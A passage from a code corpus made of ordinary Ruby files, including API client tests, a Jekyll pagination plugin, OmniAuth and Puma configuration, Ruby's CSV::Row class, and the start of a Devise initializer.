logger = BerkeleyLibrary::Logging::Loggers.new_readable_logger(logdev)
allow(BerkeleyLibrary::Logging).to receive(:logger).and_return(logger)
msg = 'the error message'
expect { API.get(endpoint) { |_| raise(StandardError, msg) } }.to raise_error(StandardError, msg)
expect(logdev.string).to include(body_text)
end
it 'sends a default user agent' do
expected_ua = Config::DEFAULT_USER_AGENT
endpoint = 'test-endpoint'
url_str = API.uri_for(endpoint).to_s
body_text = 'the body'
stub_request(:get, url_str).with(headers: { 'User-Agent' => expected_ua })
.to_return(status: 200, body: body_text)
result = API.get(endpoint)
expect(result).to eq(body_text)
end
it 'sends a configured user ageint' do
expected_ua = 'Help I am trapped in an HTTP request'
Config.user_agent = expected_ua
endpoint = 'test-endpoint'
url_str = API.uri_for(endpoint).to_s
body_text = 'the body'
stub_request(:get, url_str).with(headers: { 'User-Agent' => expected_ua })
.to_return(status: 200, body: body_text)
result = API.get(endpoint)
expect(result).to eq(body_text)
end
end
end
describe :format_request do
it 'formats a request' do
url = 'https://example.org/frob'
params = { foo: 'bar', 'qux' => 'baz' }
expected_url = 'https://example.org/frob?foo=bar&qux=baz'
expect(API.format_request(url, params)).to eq("GET #{expected_url}")
end
it 'works without parameters' do
url = 'https://example.org/frob'
expect(API.format_request(url)).to eq("GET #{url}")
end
it 'rejects garbage parameters' do
# noinspection RubyYardParamTypeMatch
expect { API.format_request('https://example.org', Object.new) }.to raise_error(ArgumentError)
end
end
end
end
end
| 35.555556 | 109 | 0.586328 |
bb91aa411a33e00298b427f304060afccb264bc8
| 19,506 |
module Jekyll
module PaginateV2::Generator
#
# The main model for the pagination, handles the orchestration of the pagination and calling all the necessary bits and bobs needed :)
#
class PaginationModel
@debug = false # is debug output enabled?
@logging_lambda = nil # The lambda to use for logging
@page_add_lambda = nil # The lambda used to create pages and add them to the site
@page_remove_lambda = nil # Lambda to remove a page from the site.pages collection
@collection_by_name_lambda = nil # Lambda to get all documents/posts in a particular collection (by name)
# ctor
def initialize(logging_lambda, page_add_lambda, page_remove_lambda, collection_by_name_lambda)
@logging_lambda = logging_lambda
@page_add_lambda = page_add_lambda
@page_remove_lambda = page_remove_lambda
@collection_by_name_lambda = collection_by_name_lambda
end
def run(default_config, site_pages, site_title)
# By default if pagination is enabled we attempt to find all index.html pages in the site
templates = self.discover_paginate_templates(site_pages)
if( templates.size.to_i <= 0 )
@logging_lambda.call "Is enabled, but I couldn't find any pagination page. Skipping pagination. "+
"Pages must have 'pagination: enabled: true' in their front-matter for pagination to work.", "warn"
return
end
# Now for each template page generate the paginator for it
templates.each do |template|
# All pages that should be paginated need to include the pagination config element
if template.data['pagination'].is_a?(Hash)
template_config = Jekyll::Utils.deep_merge_hashes(default_config, template.data['pagination'] || {})
# Handling deprecation of configuration values
self._fix_deprecated_config_features(template_config)
@debug = template_config['debug'] # Is debugging enabled on the page level
self._debug_print_config_info(template_config, template.path)
# Only paginate the template if it is explicitly enabled
# requiring this makes the logic simpler as I don't need to determine which index pages
# were generated automatically and which weren't
if( template_config['enabled'] )
if !@debug
@logging_lambda.call "found page: "+template.path, 'debug'
end
# Request all documents in all collections that the user has requested
all_posts = self.get_docs_in_collections(template_config['collection'])
# Create the necessary indexes for the posts
all_categories = PaginationIndexer.index_posts_by(all_posts, 'categories')
all_categories['posts'] = all_posts; # Populate a category for all posts (this is here for backward compatibility, do not use this as it will be decommissioned 2018-01-01)
# (this is a default and must not be used in the category system)
all_tags = PaginationIndexer.index_posts_by(all_posts, 'tags')
all_locales = PaginationIndexer.index_posts_by(all_posts, 'locale')
all_authors = PaginationIndexer.index_posts_by(all_posts, 'author')
# TODO: NOTE!!! This whole request for posts and indexing results could be cached to improve performance, leaving like this for now during testing
# Now construct the pagination data for this template page
self.paginate(template, template_config, site_title, all_posts, all_tags, all_categories, all_locales, all_authors)
end
end
end #for
# Return the total number of templates found
return templates.size.to_i
end # function run
#
# This function is here to retain the old compatability logic with the jekyll-paginate gem
# no changes should be made to this function and it should be retired and deleted after 2018-01-01
# (REMOVE AFTER 2018-01-01)
#
def run_compatability(legacy_config, site_pages, site_title, all_posts)
# Decomissioning error
if( date = Date.strptime("20180101","%Y%m%d") <= Date.today )
raise ArgumentError.new("Legacy jekyll-paginate configuration compatibility mode has expired. Please upgrade to jekyll-paginate-v2 configuration.")
end
# Two month warning or general notification
if( date = Date.strptime("20171101","%Y%m%d") <= Date.today )
@logging_lambda.call "Legacy pagination logic will stop working on Jan 1st 2018, update your configs before that time.", "warn"
else
@logging_lambda.call "Detected legacy jekyll-paginate logic running. "+
"Please update your configs to use the jekyll-paginate-v2 logic. This compatibility function "+
"will stop working after Jan 1st 2018 and your site build will throw an error.", "warn"
end
if template = CompatibilityUtils.template_page(site_pages, legacy_config['legacy_source'], legacy_config['permalink'])
CompatibilityUtils.paginate(legacy_config, all_posts, template, @page_add_lambda)
else
@logging_lambda.call "Legacy pagination is enabled, but I couldn't find " +
"an index.html page to use as the pagination page. Skipping pagination.", "warn"
end
end # function run_compatability (REMOVE AFTER 2018-01-01)
# Returns the combination of all documents in the collections that are specified
# raw_collection_names can either be a list of collections separated by a ',' or ' ' or a single string
def get_docs_in_collections(raw_collection_names)
if raw_collection_names.is_a?(String)
collection_names = raw_collection_names.split(/;|,|\s/)
else
collection_names = raw_collection_names
end
docs = []
# Now for each of the collections get the docs
collection_names.each do |coll_name|
# Request all the documents for the collection in question, and join it with the total collection
docs += @collection_by_name_lambda.call(coll_name.downcase.strip)
end
# Hidden documents should not not be processed anywhere.
docs = docs.reject { |doc| doc['hidden'] }
return docs
end
def _fix_deprecated_config_features(config)
keys_to_delete = []
# As of v1.5.1 the title_suffix is deprecated and 'title' should be used
# but only if title has not been defined already!
if( !config['title_suffix'].nil? )
if( config['title'].nil? )
config['title'] = ":title" + config['title_suffix'].to_s # Migrate the old key to title
end
keys_to_delete << "title_suffix" # Always remove the depricated key if found
end
# Delete the depricated keys
config.delete_if{ |k,| keys_to_delete.include? k }
end
def _debug_print_config_info(config, page_path)
r = 20
f = "Pagination: ".rjust(20)
# Debug print the config
if @debug
puts f + "----------------------------"
puts f + "Page: "+page_path.to_s
puts f + " Active configuration"
puts f + " Enabled: ".ljust(r) + config['enabled'].to_s
puts f + " Items per page: ".ljust(r) + config['per_page'].to_s
puts f + " Permalink: ".ljust(r) + config['permalink'].to_s
puts f + " Title: ".ljust(r) + config['title'].to_s
puts f + " Limit: ".ljust(r) + config['limit'].to_s
puts f + " Sort by: ".ljust(r) + config['sort_field'].to_s
puts f + " Sort reverse: ".ljust(r) + config['sort_reverse'].to_s
puts f + " Active Filters"
puts f + " Collection: ".ljust(r) + config['collection'].to_s
puts f + " Offset: ".ljust(r) + config['offset'].to_s
puts f + " Combine: ".ljust(r) + config['combine'].to_s
puts f + " Category: ".ljust(r) + (config['category'].nil? || config['category'] == "posts" ? "[Not set]" : config['category'].to_s)
puts f + " Tag: ".ljust(r) + (config['tag'].nil? ? "[Not set]" : config['tag'].to_s)
puts f + " Locale: ".ljust(r) + (config['locale'].nil? ? "[Not set]" : config['locale'].to_s)
puts f + " Author: ".ljust(r) + (config['author'].nil? ? "[Not set]" : config['author'].to_s)
if config['legacy']
puts f + " Legacy Paginate Code Enabled"
puts f + " Legacy Paginate: ".ljust(r) + config['per_page'].to_s
puts f + " Legacy Source: ".ljust(r) + config['legacy_source'].to_s
puts f + " Legacy Path: ".ljust(r) + config['paginate_path'].to_s
end
end
end
def _debug_print_filtering_info(filter_name, before_count, after_count)
# Debug print the config
if @debug
puts "Pagination: ".rjust(20) + " Filtering by: "+filter_name.to_s.ljust(9) + " " + before_count.to_s.rjust(3) + " => " + after_count.to_s
end
end
#
# Rolls through all the pages passed in and finds all pages that have pagination enabled on them.
# These pages will be used as templates
#
# site_pages - All pages in the site
#
def discover_paginate_templates(site_pages)
candidates = []
site_pages.select do |page|
# If the page has the enabled config set, supports any type of file name html or md
if page.data['pagination'].is_a?(Hash) && page.data['pagination']['enabled']
candidates << page
end
end
return candidates
end # function discover_paginate_templates
# Paginates the blog's posts. Renders the index.html file into paginated
# directories, e.g.: page2/index.html, page3/index.html, etc and adds more
# site-wide data.
#
# site - The Site.
# template - The index.html Page that requires pagination.
# config - The configuration settings that should be used
#
def paginate(template, config, site_title, all_posts, all_tags, all_categories, all_locales, all_authors)
# By default paginate on all posts in the site
using_posts = all_posts
should_union = config['combine'] == 'union'
# Now start filtering out any posts that the user doesn't want included in the pagination
before = using_posts.size.to_i
using_posts = PaginationIndexer.read_config_value_and_filter_posts(config, 'category', using_posts, all_categories, should_union)
self._debug_print_filtering_info('Category', before, using_posts.size.to_i)
before = using_posts.size.to_i
using_posts = PaginationIndexer.read_config_value_and_filter_posts(config, 'tag', using_posts, all_tags, should_union)
self._debug_print_filtering_info('Tag', before, using_posts.size.to_i)
before = using_posts.size.to_i
using_posts = PaginationIndexer.read_config_value_and_filter_posts(config, 'locale', using_posts, all_locales, should_union)
self._debug_print_filtering_info('Locale', before, using_posts.size.to_i)
before = using_posts.size.to_i
using_posts = PaginationIndexer.read_config_value_and_filter_posts(config, 'author', using_posts, all_authors)
self._debug_print_filtering_info('Author', before, using_posts.size.to_i)
# Apply sorting to the posts if configured, any field for the post is available for sorting
if config['sort_field']
sort_field = config['sort_field'].to_s
# There is an issue in Jekyll related to lazy initialized member variables that causes iterators to
# break when accessing an uninitialized value during iteration. This happens for document.rb when the <=> compaison function
# is called (as this function calls the 'date' field which for drafts are not initialized.)
# So to unblock this common issue for the date field I simply iterate once over every document and initialize the .date field explicitly
if @debug
puts "Pagination: ".rjust(20) + "Rolling through the date fields for all documents"
end
using_posts.each do |u_post|
if u_post.respond_to?('date')
tmp_date = u_post.date
if( !tmp_date || tmp_date.nil? )
if @debug
puts "Pagination: ".rjust(20) + "Explicitly assigning date for doc: #{u_post.data['title']} | #{u_post.path}"
end
u_post.date = File.mtime(u_post.path)
end
end
end
using_posts.sort!{ |a,b| Utils.sort_values(Utils.sort_get_post_data(a.data, sort_field), Utils.sort_get_post_data(b.data, sort_field)) }
# Remove the first x entries
offset_post_count = [0, config['offset'].to_i].max
using_posts.pop(offset_post_count)
if config['sort_reverse']
using_posts.reverse!
end
end
# Calculate the max number of pagination-pages based on the configured per page value
total_pages = Utils.calculate_number_of_pages(using_posts, config['per_page'])
# If a upper limit is set on the number of total pagination pages then impose that now
if config['limit'] && config['limit'].to_i > 0 && config['limit'].to_i < total_pages
total_pages = config['limit'].to_i
end
#### BEFORE STARTING REMOVE THE TEMPLATE PAGE FROM THE SITE LIST!
@page_remove_lambda.call( template )
# list of all newly created pages
newpages = []
# Consider the default index page name and extension
indexPageName = config['indexpage'].nil? ? '' : config['indexpage'].split('.')[0]
indexPageExt = config['extension'].nil? ? '' : Utils.ensure_leading_dot(config['extension'])
indexPageWithExt = indexPageName + indexPageExt
# In case there are no (visible) posts, generate the index file anyway
total_pages = 1 if total_pages.zero?
# Now for each pagination page create it and configure the ranges for the collection
# This .pager member is a built in thing in Jekyll and defines the paginator implementation
# Simpy override to use mine
(1..total_pages).each do |cur_page_nr|
# 1. Create the in-memory page
# External Proc call to create the actual page for us (this is passed in when the pagination is run)
newpage = PaginationPage.new( template, cur_page_nr, total_pages, indexPageWithExt )
# 2. Create the url for the in-memory page (calc permalink etc), construct the title, set all page.data values needed
paginated_page_url = config['permalink']
first_index_page_url = ""
if template.data['permalink']
first_index_page_url = Utils.ensure_trailing_slash(template.data['permalink'])
else
first_index_page_url = Utils.ensure_trailing_slash(template.dir)
end
paginated_page_url = File.join(first_index_page_url, paginated_page_url)
# 3. Create the pager logic for this page, pass in the prev and next page numbers, assign pager to in-memory page
newpage.pager = Paginator.new( config['per_page'], first_index_page_url, paginated_page_url, using_posts, cur_page_nr, total_pages, indexPageName, indexPageExt)
# Create the url for the new page, make sure we prepend any permalinks that are defined in the template page before
if newpage.pager.page_path.end_with? '/'
newpage.set_url(File.join(newpage.pager.page_path, indexPageWithExt))
elsif newpage.pager.page_path.end_with? indexPageExt
# Support for direct .html files
newpage.set_url(newpage.pager.page_path)
else
# Support for extensionless permalinks
newpage.set_url(newpage.pager.page_path+indexPageExt)
end
if( template.data['permalink'] )
newpage.data['permalink'] = newpage.pager.page_path
end
# Transfer the title across to the new page
if( !template.data['title'] )
tmp_title = site_title
else
tmp_title = template.data['title']
end
# If the user specified a title suffix to be added then let's add that to all the pages except the first
if( cur_page_nr > 1 && config.has_key?('title') )
newpage.data['title'] = "#{Utils.format_page_title(config['title'], tmp_title, cur_page_nr, total_pages)}"
else
newpage.data['title'] = tmp_title
end
# Signals that this page is automatically generated by the pagination logic
# (we don't do this for the first page as it is there to mask the one we removed)
if cur_page_nr > 1
newpage.data['autogen'] = "jekyll-paginate-v2"
end
# Add the page to the site
@page_add_lambda.call( newpage )
# Store the page in an internal list for later referencing if we need to generate a pagination number path later on
newpages << newpage
end #each.do total_pages
# Now generate the pagination number path, e.g. so that the users can have a prev 1 2 3 4 5 next structure on their page
# simplest is to include all of the links to the pages preceeding the current one
# (e.g for page 1 you get the list 2, 3, 4.... and for page 2 you get the list 3,4,5...)
if( config['trail'] && !config['trail'].nil? && newpages.size.to_i > 1 )
trail_before = [config['trail']['before'].to_i, 0].max
trail_after = [config['trail']['after'].to_i, 0].max
trail_length = trail_before + trail_after + 1
if( trail_before > 0 || trail_after > 0 )
newpages.select do | npage |
idx_start = [ npage.pager.page - trail_before - 1, 0].max # Selecting the beginning of the trail
idx_end = [idx_start + trail_length, newpages.size.to_i].min # Selecting the end of the trail
# Always attempt to maintain the max total of <trail_length> pages in the trail (it will look better if the trail doesn't shrink)
if( idx_end - idx_start < trail_length )
# Attempt to pad the beginning if we have enough pages
idx_start = [idx_start - ( trail_length - (idx_end - idx_start) ), 0].max # Never go beyond the zero index
end
# Convert the newpages array into a two dimensional array that has [index, page_url] as items
#puts( "Trail created for page #{npage.pager.page} (idx_start:#{idx_start} idx_end:#{idx_end})")
npage.pager.page_trail = newpages[idx_start...idx_end].each_with_index.map {|ipage,idx| PageTrail.new(idx_start+idx+1, ipage.pager.page_path, ipage.data['title'])}
#puts( npage.pager.page_trail )
end #newpages.select
end #if trail_before / trail_after
end # if config['trail']
end # function paginate
end # class PaginationV2
end # module PaginateV2
end # module Jekyll
| 51.062827 | 186 | 0.641546 |
18fb3c7092ea112a4e948352d98f837d90e7feb0
| 583 |
# rake db:seed:c80_news_01_fill_props
C80News::Prop.delete_all
C80News::Prop.create!({
thumb_lg_width: 640,
thumb_lg_height: 400,
thumb_md_width: 320,
thumb_md_height: 200,
thumb_sm_width: 80,
thumb_sm_height: 50,
per_widget: 3,
per_page: 6,
thumb_preview_width: 250,
thumb_preview_height: 164
})
| 30.684211 | 51 | 0.408233 |
1d6119c6f26819c7fb3ff3d4b603b11c8d2085e7
| 561 |
OmniAuth.config.logger = Rails.logger
Rails.application.config.middleware.use OmniAuth::Builder do
provider :twitter,
ENV['TWITTER_KEY'],
ENV['TWITTER_SECRET']
provider :github,
ENV['GITHUB_KEY'],
ENV['GITHUB_SECRET']
provider :google_oauth2,
ENV['GOOGLE_CLIENT_ID'],
ENV['GOOGLE_CLIENT_SECRET'],
scope: 'profile',
name: 'google'
end
OmniAuth.config.on_failure = proc do |env|
failure = Sessions::OmniAuthUsersController.action(:failure)
failure.call(env)
end
| 26.714286 | 62 | 0.643494 |
623b12a4426c89cc2e7e5c2a8bd83e3642c82f4d
| 2,265 |
# -*- encoding: utf-8 -*-
# stub: mini_portile2 2.4.0 ruby lib
Gem::Specification.new do |s|
s.name = "mini_portile2".freeze
s.version = "2.4.0"
s.required_rubygems_version = Gem::Requirement.new(">= 0".freeze) if s.respond_to? :required_rubygems_version=
s.require_paths = ["lib".freeze]
s.authors = ["Luis Lavena".freeze, "Mike Dalessio".freeze, "Lars Kanis".freeze]
s.date = "2018-12-02"
s.description = "Simplistic port-like solution for developers. It provides a standard and simplified way to compile against dependency libraries without messing up your system.".freeze
s.email = "[email protected]".freeze
s.homepage = "http://github.com/flavorjones/mini_portile".freeze
s.licenses = ["MIT".freeze]
s.required_ruby_version = Gem::Requirement.new(">= 1.9.2".freeze)
s.rubygems_version = "2.6.14.3".freeze
s.summary = "Simplistic port-like solution for developers".freeze
s.installed_by_version = "2.6.14.3" if s.respond_to? :installed_by_version
if s.respond_to? :specification_version then
s.specification_version = 4
if Gem::Version.new(Gem::VERSION) >= Gem::Version.new('1.2.0') then
s.add_development_dependency(%q<bundler>.freeze, ["~> 1.17"])
s.add_development_dependency(%q<rake>.freeze, ["~> 12.0"])
s.add_development_dependency(%q<minitest>.freeze, ["~> 5.11"])
s.add_development_dependency(%q<minitest-hooks>.freeze, ["~> 1.5.0"])
s.add_development_dependency(%q<minitar>.freeze, ["~> 0.7"])
s.add_development_dependency(%q<concourse>.freeze, ["~> 0.16"])
else
s.add_dependency(%q<bundler>.freeze, ["~> 1.17"])
s.add_dependency(%q<rake>.freeze, ["~> 12.0"])
s.add_dependency(%q<minitest>.freeze, ["~> 5.11"])
s.add_dependency(%q<minitest-hooks>.freeze, ["~> 1.5.0"])
s.add_dependency(%q<minitar>.freeze, ["~> 0.7"])
s.add_dependency(%q<concourse>.freeze, ["~> 0.16"])
end
else
s.add_dependency(%q<bundler>.freeze, ["~> 1.17"])
s.add_dependency(%q<rake>.freeze, ["~> 12.0"])
s.add_dependency(%q<minitest>.freeze, ["~> 5.11"])
s.add_dependency(%q<minitest-hooks>.freeze, ["~> 1.5.0"])
s.add_dependency(%q<minitar>.freeze, ["~> 0.7"])
s.add_dependency(%q<concourse>.freeze, ["~> 0.16"])
end
end
| 46.22449 | 186 | 0.664459 |
4aa0f3091179ec1a50576cec09affeae5670c69b
| 11,395 |
# frozen_string_literal: true
require "forwardable"
class CSV
#
# A CSV::Row is part Array and part Hash. It retains an order for the fields
# and allows duplicates just as an Array would, but also allows you to access
# fields by name just as you could if they were in a Hash.
#
# All rows returned by CSV will be constructed from this class, if header row
# processing is activated.
#
class Row
#
# Constructs a new CSV::Row from +headers+ and +fields+, which are expected
# to be Arrays. If one Array is shorter than the other, it will be padded
# with +nil+ objects.
#
# The optional +header_row+ parameter can be set to +true+ to indicate, via
# CSV::Row.header_row?() and CSV::Row.field_row?(), that this is a header
# row. Otherwise, the row assumes to be a field row.
#
# A CSV::Row object supports the following Array methods through delegation:
#
# * empty?()
# * length()
# * size()
#
def initialize(headers, fields, header_row = false)
@header_row = header_row
headers.each { |h| h.freeze if h.is_a? String }
# handle extra headers or fields
@row = if headers.size >= fields.size
headers.zip(fields)
else
fields.zip(headers).each(&:reverse!)
end
end
# Internal data format used to compare equality.
attr_reader :row
protected :row
### Array Delegation ###
extend Forwardable
def_delegators :@row, :empty?, :length, :size
def initialize_copy(other)
super
@row = @row.dup
end
# Returns +true+ if this is a header row.
def header_row?
@header_row
end
# Returns +true+ if this is a field row.
def field_row?
not header_row?
end
# Returns the headers of this row.
def headers
@row.map(&:first)
end
#
# :call-seq:
# field( header )
# field( header, offset )
# field( index )
#
# This method will return the field value by +header+ or +index+. If a field
# is not found, +nil+ is returned.
#
# When provided, +offset+ ensures that a header match occurs on or later
# than the +offset+ index. You can use this to find duplicate headers,
# without resorting to hard-coding exact indices.
#
def field(header_or_index, minimum_index = 0)
# locate the pair
finder = (header_or_index.is_a?(Integer) || header_or_index.is_a?(Range)) ? :[] : :assoc
pair = @row[minimum_index..-1].send(finder, header_or_index)
# return the field if we have a pair
if pair.nil?
nil
else
header_or_index.is_a?(Range) ? pair.map(&:last) : pair.last
end
end
alias_method :[], :field
#
# :call-seq:
# fetch( header )
# fetch( header ) { |row| ... }
# fetch( header, default )
#
# This method will fetch the field value by +header+. It has the same
# behavior as Hash#fetch: if there is a field with the given +header+, its
# value is returned. Otherwise, if a block is given, it is yielded the
# +header+ and its result is returned; if a +default+ is given as the
# second argument, it is returned; otherwise a KeyError is raised.
#
def fetch(header, *varargs)
raise ArgumentError, "Too many arguments" if varargs.length > 1
pair = @row.assoc(header)
if pair
pair.last
else
if block_given?
yield header
elsif varargs.empty?
raise KeyError, "key not found: #{header}"
else
varargs.first
end
end
end
# Returns +true+ if there is a field with the given +header+.
def has_key?(header)
[email protected](header)
end
alias_method :include?, :has_key?
alias_method :key?, :has_key?
alias_method :member?, :has_key?
alias_method :header?, :has_key?
#
# :call-seq:
# []=( header, value )
# []=( header, offset, value )
# []=( index, value )
#
# Looks up the field by the semantics described in CSV::Row.field() and
# assigns the +value+.
#
# Assigning past the end of the row with an index will set all pairs between
# to <tt>[nil, nil]</tt>. Assigning to an unused header appends the new
# pair.
#
def []=(*args)
value = args.pop
if args.first.is_a? Integer
if @row[args.first].nil? # extending past the end with index
@row[args.first] = [nil, value]
@row.map! { |pair| pair.nil? ? [nil, nil] : pair }
else # normal index assignment
@row[args.first][1] = value
end
else
index = index(*args)
if index.nil? # appending a field
self << [args.first, value]
else # normal header assignment
@row[index][1] = value
end
end
end
#
# :call-seq:
# <<( field )
# <<( header_and_field_array )
# <<( header_and_field_hash )
#
# If a two-element Array is provided, it is assumed to be a header and field
# and the pair is appended. A Hash works the same way with the key being
# the header and the value being the field. Anything else is assumed to be
# a lone field which is appended with a +nil+ header.
#
# This method returns the row for chaining.
#
def <<(arg)
if arg.is_a?(Array) and arg.size == 2 # appending a header and name
@row << arg
elsif arg.is_a?(Hash) # append header and name pairs
arg.each { |pair| @row << pair }
else # append field value
@row << [nil, arg]
end
self # for chaining
end
#
# A shortcut for appending multiple fields. Equivalent to:
#
# args.each { |arg| csv_row << arg }
#
# This method returns the row for chaining.
#
def push(*args)
args.each { |arg| self << arg }
self # for chaining
end
#
# :call-seq:
# delete( header )
# delete( header, offset )
# delete( index )
#
# Removes a pair from the row by +header+ or +index+. The pair is
# located as described in CSV::Row.field(). The deleted pair is returned,
# or +nil+ if a pair could not be found.
#
def delete(header_or_index, minimum_index = 0)
if header_or_index.is_a? Integer # by index
@row.delete_at(header_or_index)
elsif i = index(header_or_index, minimum_index) # by header
@row.delete_at(i)
else
[ ]
end
end
#
# The provided +block+ is passed a header and field for each pair in the row
# and expected to return +true+ or +false+, depending on whether the pair
# should be deleted.
#
# This method returns the row for chaining.
#
# If no block is given, an Enumerator is returned.
#
def delete_if(&block)
return enum_for(__method__) { size } unless block_given?
@row.delete_if(&block)
self # for chaining
end
#
# This method accepts any number of arguments which can be headers, indices,
# Ranges of either, or two-element Arrays containing a header and offset.
# Each argument will be replaced with a field lookup as described in
# CSV::Row.field().
#
# If called with no arguments, all fields are returned.
#
def fields(*headers_and_or_indices)
if headers_and_or_indices.empty? # return all fields--no arguments
@row.map(&:last)
else # or work like values_at()
all = []
headers_and_or_indices.each do |h_or_i|
if h_or_i.is_a? Range
index_begin = h_or_i.begin.is_a?(Integer) ? h_or_i.begin :
index(h_or_i.begin)
index_end = h_or_i.end.is_a?(Integer) ? h_or_i.end :
index(h_or_i.end)
new_range = h_or_i.exclude_end? ? (index_begin...index_end) :
(index_begin..index_end)
all.concat(fields.values_at(new_range))
else
all << field(*Array(h_or_i))
end
end
return all
end
end
alias_method :values_at, :fields
#
# :call-seq:
# index( header )
# index( header, offset )
#
# This method will return the index of a field with the provided +header+.
# The +offset+ can be used to locate duplicate header names, as described in
# CSV::Row.field().
#
def index(header, minimum_index = 0)
# find the pair
index = headers[minimum_index..-1].index(header)
# return the index at the right offset, if we found one
index.nil? ? nil : index + minimum_index
end
#
# Returns +true+ if +data+ matches a field in this row, and +false+
# otherwise.
#
def field?(data)
fields.include? data
end
include Enumerable
#
# Yields each pair of the row as header and field tuples (much like
# iterating over a Hash). This method returns the row for chaining.
#
# If no block is given, an Enumerator is returned.
#
# Support for Enumerable.
#
def each(&block)
return enum_for(__method__) { size } unless block_given?
@row.each(&block)
self # for chaining
end
alias_method :each_pair, :each
#
# Returns +true+ if this row contains the same headers and fields in the
# same order as +other+.
#
def ==(other)
return @row == other.row if other.is_a? CSV::Row
@row == other
end
#
# Collapses the row into a simple Hash. Be warned that this discards field
# order and clobbers duplicate fields.
#
def to_h
hash = {}
each do |key, _value|
hash[key] = self[key] unless hash.key?(key)
end
hash
end
alias_method :to_hash, :to_h
alias_method :to_ary, :to_a
#
# Returns the row as a CSV String. Headers are not used. Equivalent to:
#
# csv_row.fields.to_csv( options )
#
def to_csv(**options)
fields.to_csv(**options)
end
alias_method :to_s, :to_csv
#
# Extracts the nested value specified by the sequence of +index+ or +header+ objects by calling dig at each step,
# returning nil if any intermediate step is nil.
#
def dig(index_or_header, *indexes)
value = field(index_or_header)
if value.nil?
nil
elsif indexes.empty?
value
else
unless value.respond_to?(:dig)
raise TypeError, "#{value.class} does not have \#dig method"
end
value.dig(*indexes)
end
end
#
# A summary of fields, by header, in an ASCII compatible String.
#
def inspect
str = ["#<", self.class.to_s]
each do |header, field|
str << " " << (header.is_a?(Symbol) ? header.to_s : header.inspect) <<
":" << field.inspect
end
str << ">"
begin
str.join('')
rescue # any encoding error
str.map do |s|
e = Encoding::Converter.asciicompat_encoding(s.encoding)
e ? s.encode(e) : s.force_encoding("ASCII-8BIT")
end.join('')
end
end
end
end
| 29.143223 | 117 | 0.581571 |
ed8ece42614915a4a4482785be9ddb65eb267043
| 117 |
class RankingBlueprint < Blueprinter::Base
fields :points, :rank
association :team, blueprint: TeamBlueprint
end
| 23.4 | 45 | 0.786325 |
ed1f9742e6895b3f2cad76137cf67c3afa93e91c
| 168 |
module Web::Controllers::Sensors
class New
include Web::Action
include Web::Authentication
before :authenticate!
def call(params)
end
end
end
| 14 | 32 | 0.684524 |
266044e9e39186abcfe4d38909f806adebeaff6a
| 684 |
class Conversation < ApplicationRecord
belongs_to :sender, foreign_key: :sender_id, class_name: 'User'
belongs_to :recipient, foreign_key: :recipient_id, class_name: 'User'
has_many :messages, dependent: :destroy
validates_uniqueness_of :sender_id, scope: :recipient_id
scope :involving, -> (user) do
where("conversations.sender_id = ? OR conversations.recipient_id = ?", user.id, user.id)
end
scope :between, -> (sender_id, recipient_id) do
where("(conversations.sender_id = ? AND
conversations.recipient_id = ?) OR
conversations.sender_id = ? AND
conversations.recipient_id = ?",
sender_id, recipient_id, recipient_id, sender_id)
end
end
| 32.571429 | 92 | 0.730994 |
62275777a84e253dee7fdaa7c9fbae654a4ee88d
| 443 |
module Slinky
module LessCompiler
Compilers.register_compiler self,
:inputs => ["less"],
:outputs => ["css"],
:dependencies => [["less", ">= 2.2.0"]],
:requires => ["less"]
def LessCompiler::compile s, file
parser = Less::Parser.new
tree = parser.parse(s)
tree.to_css
end
end
end
| 27.6875 | 72 | 0.433409 |
6a7a1386d28a1b254f5cb0ce44fa2996c71413a4
| 157 |
class AddLastaccesshomeToUsers < ActiveRecord::Migration[5.0]
def change
add_column :users, :lastaccesshome, :datetime, default:DateTime.now
end
end
| 26.166667 | 71 | 0.77707 |
39c34f85a20bc78e21386d6eee0ff16a8ed7f8cb
| 1,581 |
# Puma can serve each request in a thread from an internal thread pool.
# The `threads` method setting takes two numbers: a minimum and maximum.
# Any libraries that use thread pools should be configured to match
# the maximum value specified for Puma. Default is set to 5 threads for minimum
# and maximum; this matches the default thread size of Active Record.
#
max_threads_count = ENV.fetch("RAILS_MAX_THREADS") { 5 }
min_threads_count = ENV.fetch("RAILS_MIN_THREADS") { max_threads_count }
threads min_threads_count, max_threads_count
# Specifies the `port` that Puma will listen on to receive requests; default is 3000.
#
port ENV.fetch("PORT") { 3000 }
# Specifies the `environment` that Puma will run in.
#
environment ENV.fetch("RAILS_ENV") { "development" }
# Specifies the `pidfile` that Puma will use.
pidfile ENV.fetch("PIDFILE") { "tmp/pids/server.pid" }
# Specifies the number of `workers` to boot in clustered mode.
# Workers are forked web server processes. If using threads and workers together
# the concurrency of the application would be max `threads` * `workers`.
# Workers do not work on JRuby or Windows (both of which do not support
# processes).
#
workers ENV.fetch("WEB_CONCURRENCY") { 0 }
# Use the `preload_app!` method when specifying a `workers` number.
# This directive tells Puma to first boot the application and load code
# before forking the application. This takes advantage of Copy On Write
# process behavior so workers use less memory.
#
preload_app!
# Allow puma to be restarted by `rails restart` command.
plugin :tmp_restart
| 40.538462 | 85 | 0.760911 |
ab0d827c6dfd3db8187b9c3eea4d4afb50ab6e44
| 13,129 |
# Use this hook to configure devise mailer, warden hooks and so forth.
# Many of these configuration options can be set straight in your model.
Devise.setup do |config|
# The secret key used by Devise. Devise uses this key to generate
# random tokens. Changing this key will render invalid all existing
# confirmation, reset password and unlock tokens in the database.
# Devise will use the `secret_key_base` on Rails 4+ applications as its `secret_key`
# by default. You can change it below and use your own secret key.
# config.secret_key = 'b497ffe3e78c644da198816ea775d3199f3e9dead1bc1c46cc15342663f464fd4c91eb376d8ceca33d36765000071aee134d3b98cdb48937e9306721f3b0ddfa'
# ==> Mailer Configuration
# Configure the e-mail address which will be shown in Devise::Mailer,
# note that it will be overwritten if you use your own mailer class
# with default "from" parameter.
config.mailer_sender = '[email protected]'
# Configure the class responsible to send e-mails.
# config.mailer = 'Devise::Mailer'
# ==> ORM configuration
# Load and configure the ORM. Supports :active_record (default) and
# :mongoid (bson_ext recommended) by default. Other ORMs may be
# available as additional gems.
require 'devise/orm/active_record'
# ==> Configuration for any authentication mechanism
# Configure which keys are used when authenticating a user. The default is
# just :email. You can configure it to use [:username, :subdomain], so for
# authenticating a user, both parameters are required. Remember that those
# parameters are used only when authenticating and not when retrieving from
# session. If you need permissions, you should implement that in a before filter.
# You can also supply a hash where the value is a boolean determining whether
# or not authentication should be aborted when the value is not present.
# config.authentication_keys = [:email]
# Configure parameters from the request object used for authentication. Each entry
# given should be a request method and it will automatically be passed to the
# find_for_authentication method and considered in your model lookup. For instance,
# if you set :request_keys to [:subdomain], :subdomain will be used on authentication.
